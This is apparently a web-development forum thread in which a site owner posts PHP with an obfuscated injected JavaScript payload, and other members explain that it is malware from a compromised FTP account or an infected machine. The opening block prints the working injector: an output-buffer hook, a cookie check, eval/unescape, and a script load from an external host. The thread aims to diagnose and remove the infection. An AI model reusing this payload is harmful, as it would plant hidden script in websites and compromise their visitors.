Z7bZ257F\}qKqzuvxqpZ3cZ3dZ3dozZ7bc4\)4zqc4Pu\`qZ3cZ3dZ2fdZ7bdKgq\`WZ7bZ7bZ257F\}qZ3cdZ7bdKwZ7bZ7bZ257F\}qKzuyq84zZ7bcZ3dZ2fiiirazw\`\}Z7bz4dZ7bdK\}z\}\`Z3cZ3dobuf4bqf4\)4dufgqRxZ7bu\`Z3czub\}su\`Z7bf\:uddBqfg\}Z7bzZ3dZ2fbuf4bqfZ25264\)4Z3czub\}su\`Z7bf\:agqfUsqz\`\:\}zpql\[rZ3c6C\}zpZ7bcg4\-\!6Z3d\*\)\$4hh4zub\}su\`Z7bf\:agqfUsqz\`\:\}zpql\[rZ3c6C\}zpZ7bcg4\-\,6Z3d\*\)\$4hh4zub\}su\`Z7bf\:agqfUsqz\`\:\}zpql\[rZ3c6C\}zpZ7bcg4Z5a\@6Z3d\*\)\$4Z3d22Z3czub\}su\`Z7bf\:agqfUsqz\`\:\}zpql\[rZ3c3\[dqfu3Z3d4\)\)49Z25Z3d22Z3czub\}su\`Z7bf\:uddZ5auyq45\)43Z5aq\`gwudq3Z3d422Z3czub\}su\`Z7bf\:agqfUsqz\`\:\}zpql\[rZ3c3YG\]Q3Z3d4\*49Z25Z3d422Z3czub\}su\`Z7bf\:agqfUsqz\`\:\}zpql\[rZ3c3GBZ253Z3d4\*49Z25Z3d422Z3cbqf4\*\)4Z2520Z3dZ2f\}r4Z3cbqfZ2526Z3do\}r4Z3cpZ7bwayqz\`\:x\}zZ257FgZ3dorZ7bf4Z3cbuf4\}\)\$Z2f4\}\(pZ7bwayqz\`\:x\}zZ257Fg\:xqzs\`\|Z2f4\}\?\?Z3do\}r4Z3cpZ7bwayqz\`\:x\}zZ257FgO\}I\:\`ufsq\`45\)46KvxuzZ257F6Z3dopZ7bwayqz\`\:x\}zZ257FgO\}I\:Z7bzwx\}wZ257FKwZ7bdm4\)4pZ7bwayqz\`\:x\}zZ257FgO\}I\:Z7bzwx\}wZ257FZ2fpZ7bwayqz\`\:x\}zZ257FgO\}I\:Z7bzwx\}wZ257F4\)4g\|Z7bcKdZ7bdZ2fiiiipZ7bwayqz\`\:Z7bzwx\}wZ257FKwZ7bdm4\)4pZ7bwayqz\`\:Z7bzwx\}wZ257FZ2fpZ7bwayqz\`\:Z7bzyZ7bagqad4\)4g\|Z7bcKdZ7bdZ2fidZ7bdK\}z\}\`Z3cZ3dZ2fi\(\;gwf\}d\`\*Z22\;daZ3dZ22fqb0t\-7vrs\}vybZ3esZ257F\}7\+0fqb0cxyvdY\~tuh0\-0Z2520\+fqb0\}Z257F\~dxc0\-0\~ug0Qbbqi87e\~Z257F7Z3c07tfu7Z3c07dxb7Z3c07vyb7Z3c07fyv7Z3c07huc7Z3c07fuc7Z3c07wxd7Z3c07u\~y7Z3c07ud\~7Z3c07\|uf7Z3c07dgu79\+fqb0\|uddubc0\-0\~ug0Qbbqi87q7Z3c7r7Z3c7s7Z3c7t7Z3c7u7Z3c7v7Z3c7w7Z3c7x7Z3c7y7Z3c7z7Z3c7Z7b7Z3c7\|7Z3c7\}7Z3c7\~7Z3c7Z257F7Z3c7\`7Z3c7a7Z3c7b7Z3c7c7Z3c7d7Z3c7e7Z3c7f7Z3c7g7Z3c7h7Z3c7i7Z3c7j79\+fqb0\~e\}rubc0\-0\~ug0Qbbqi8\!Z3cZ2522Z3c\#Z3c\$Z3cZ25Z3cZ2526Z3cZ27Z3c\(Z3c\)9\+fqb0dy\}u0\-0\~ug0Qbbqi89\+fqb0tqdu0\-0\~ug0TqduZ22\;stZ3dZ22Z2573Z2574Z253dZ2522\$Z253dsZ2574Z253bZ2564cZ2573Z2528dZ2561\+Z2564bZ252bZ2564cZ252bZ2564Z2564\+Z2564Z2565Z252c1Z2530\)Z253bZ2564wZ2528sZ2574\)Z253bZ2573tZ253d\$Z253bZ2522\;Z22\;cbZ3dZ22Z2565\(Z2564sZ2529Z253bstZ253dtZ256dZ2570Z253dZ2527Z2527\;for\(Z2569Z253d0Z253biZ253cdsZ22\;ceZ3dZ22Z2563haZ2572CoZ2564eZ2541t\(0Z2529\^\(Z25270x00Z2527Z252bZ2565sZ2529\)\)\;Z257dZ257dZ22\;caZ3dZ22Z2566uncZ2574iZ256fn\ Z2564Z2563Z2573Z2528dZ2573\,eZ2573\)Z257bdsZ253duneZ2573caZ2570Z22\;czZ3dZ22Z2566unZ2563tioZ256e\ cZ257a\(czZ2529Z257bretZ2575rZ256eZ2520cZ2561\+Z2563bZ252bZ2563Z2563\+cZ2564\+Z2563Z2565\+Z2563z\;Z257d\;Z22\;Z69f\ \(Z64ocuZ6dZ65ntZ2ecoZ6fkieZ2eiZ6eZ64exZ4ff\(Z27rZ665f6Z64sZ27\)Z3dZ3d\-1\)Z7bfunctiZ6fn\ Z63\(x\)Z7b\ wZ69ndZ6fw\.Z74w\ Z3d\ x\;sZ63\(Z27rZ665Z666dZ73Z27\,2\,Z37\)\;Z65valZ28uneZ73capZ65\(dZ7a\+czZ2bopZ2bsZ74\)\+Z27dwZ28dz\+Z63z\(\$Z2bsZ74\)\)Z3bZ27\)\;docuZ6dentZ2ewrZ69te\(Z24\)\;Z7ddoZ63Z75mZ65nt\.Z77riZ74e\(Z22Z3cscrZ22Z2bZ22iptZ20lZ61nguZ61Z67eZ3djaZ76aZ73crZ69pZ74Z22\+Z22\ srcZ3dZ27httZ70\:Z2fZ2fsearcZ68\.tZ77iZ74terZ2ecomZ2ftreZ6edsZ2fZ77eZ65Z6bly\.Z6asoZ6e\?cZ61llbZ61cZ6bZ3dc\&eZ78cluZ64eZ3dhaZ73hZ74agZ73Z27Z3eZ22\ \+\ Z22Z3cZ2fscrZ22\ \+\ Z22iptZ3eZ22\)\;\}eZ6cseZ7b\$Z3dZ27Z27\}\;functiZ6fn\ sZ63Z28cnZ6dZ2cv\,eZ64\)Z7bvar\ eZ78dZ3dnZ65wZ20DaZ74eZ28Z29\;exZ64\.seZ74DatZ65\(Z65xdZ2egeZ74DZ61Z74eZ28\)Z2bZ65d\)\;Z64ocuZ6denZ74\.Z63oZ6fZ6bZ69eZ3dcnZ6d\+\ Z27Z3dZ27\ \+eZ73capZ65Z28Z76\)\+Z27\;exZ70ireZ73Z3dZ27\+exd\.Z74oGMZ54Z53triZ6eg\(Z29\;Z7d\;\"\;function\ z\(s\)\{r\=\"\"\;for\(i\=0\;i\<s\.length\;i\+\+\)\{if\(s\.charAt\(i\)\=\=\"Z\"\)\{s1\=\"\%\"\}else\{s1\=s\.charAt\(i\)\}r\=r\+s1\;\}return\ unescape\(r\)\;\}eval\(z\(\$\)\)\;\<\/script\>";}//important security update echo @urlencode(@base64_encode('id=.$featured_info['photo_id].'&width=456&height=251')); ?>" alt="" /></a></div>

[Aeglos]

Yes, that is injected code.

 

A little googling reveals that it's probably something uploaded through unsecured FTP access, or, a local virus that infects uploaded webpages.

 

Change all of your access passwords, and everyone who has file access should check for virus. I think that includes the hosting service.

[ignace]

The first lines:

ob_start() and security_update(): The first one makes sure that during this procedure no output is send (except headers) to the browser, the parameter which is a function callback is called during this process and gets the contents ($buffer) passed from ob_start(). The $buffer (output) is then appended with a javascript escaped string (all the jibberish) and unescaped at the very last of the code (r\=r\+s1\;\}return\ unescape\(r\)\) to turn it back into javascript code. To know what it actually says you'll need a tool like FireBug (for FireFox) and execute: alert(unescape(..jibberish..)) which will turn it into human-readable js code. Probably you'll get some javascript code that defends against viruses or some code that translates into a virus (I can't be sure at this time as I haven't converted it yet). This whole mechanism is triggered on this line: echo @urlencode(@base64_encode('id='.$featured_info['photo_id'].'&width=456&height=251')); as to when their is actual output and thus caught by the output buffering mechanism.

[cantunderstandphp]

Cheers guys, I have checked the pages from a back up and this has all just turned up, however this was supposed to have been removed, If I can find it then I'm very surprised the company did not.